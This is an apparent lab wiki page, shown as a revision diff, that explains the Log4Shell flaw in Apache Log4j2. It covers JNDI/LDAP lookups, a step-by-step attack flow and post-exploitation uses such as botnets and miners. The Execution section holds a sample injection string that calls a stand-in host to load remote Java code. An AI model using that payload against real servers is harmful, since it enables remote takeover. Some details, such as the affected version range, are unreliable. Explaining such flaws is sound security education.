Difference between revisions of "Log4j"

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
Line 24: Line 24:
* https://nvd.nist.gov/vuln/detail/CVE-2021-44228
* https://nvd.nist.gov/vuln/detail/CVE-2021-44228
* https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf
* https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf
* https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/#:~:text=About%20%E2%85%93%20of%20Snyk%20customers,imported%20or%20monitored%20by%20Snyk.
[[Category:Documentation]]
[[Category:Documentation]]

Revision as of 19:22, 8 January 2023

Summary

Log4Shell is a software vulnerability in Apache Log4j2, a popular Java library for logging error messages in applications. It was considered a zero-day vulnerability because malicious actors likely knew about and exploited it before any experts had the chance. The vulnerability enables a remote attacker to gain control over a string and trick the application into requesting and executing malicious code under the attacker's control. As a result, attackers can remotely take over any internet-connected service that uses certain versions of the Log4j library anywhere in the software stack.

Description

At the beginning of december 2021, a security vulnerability under the CVE-Number 2021-44228 was disclosed in the logging framework log4j developed for java. It was a zero day exploit which was undiscovered for 8 years. The exploit received a score of 10 out of 10 from the National Institute of Standards and Technology, the most points a vulnerability can receive. The Bundesamt für Informationssicherheit (BSI) also issued a red alert, because of the vulnerability. The affected versions of the vulnerability were all versions from 2.0 to 2.17.0. The exploit was closed with version 2.17.1.

About 40% of all Java applications that use log messages use Log4j directly, and about 60% use the framework the framework indirectly. Log4j contains a feature called lookup, with which it is possible to replace parts of the log message dynamically (at runtime). Log4j also supports JNDI the so called JavaNaming and Directory Interface, which is an API provided by Java for a kind of lookup service, with which data and code can be found dynamically at runtime via a name. Basically it concerns thereby the named resolution. JNDI is often used in Java in connection with LDAP. There lies also the problem, because the return value of the LDAP server contains a URL, which points to a Java class. When log4j receives this URL, it reloads this Java class via JNDI and executes the code contained in it. So a JNDI LDAP call into an input form, as long as it is logged with log4j, causes that arbitrary code will be executed.

Execution

Log4j.jpg


An attacker sends a request, for example from a manipulated user agent, to a vulnerable server, e.g. the server victim.xa (1). This server then writes to its log: The user agent named ${jndi:ldap://evil.xa/x} tries to access the website (2). This leads that the vulnerable Log4j implementation on this server evaluates and executes exactly this string and executes it (3). Log4j then asks the LDAP server, via the JNDI Lookup protocol, whether there is anyone with the manipulated user agent. The LDAP server responds with directory information containing a malicious Java class (4). The malicious Java class is executed and thus the system is compromised (5).

Types of attacks

What was specifically done with the exploit: bots were installed, so-called zombies. These zombies are often used for example to implement spam email waves or to send phishing emails. Sometimes also for Denial of Service attacks or Distributed Denial of Service attacks, because they had asked different botsystems at the same time to take out a target. There were enough cryptominer installed this way. Backdoors are also installed.

References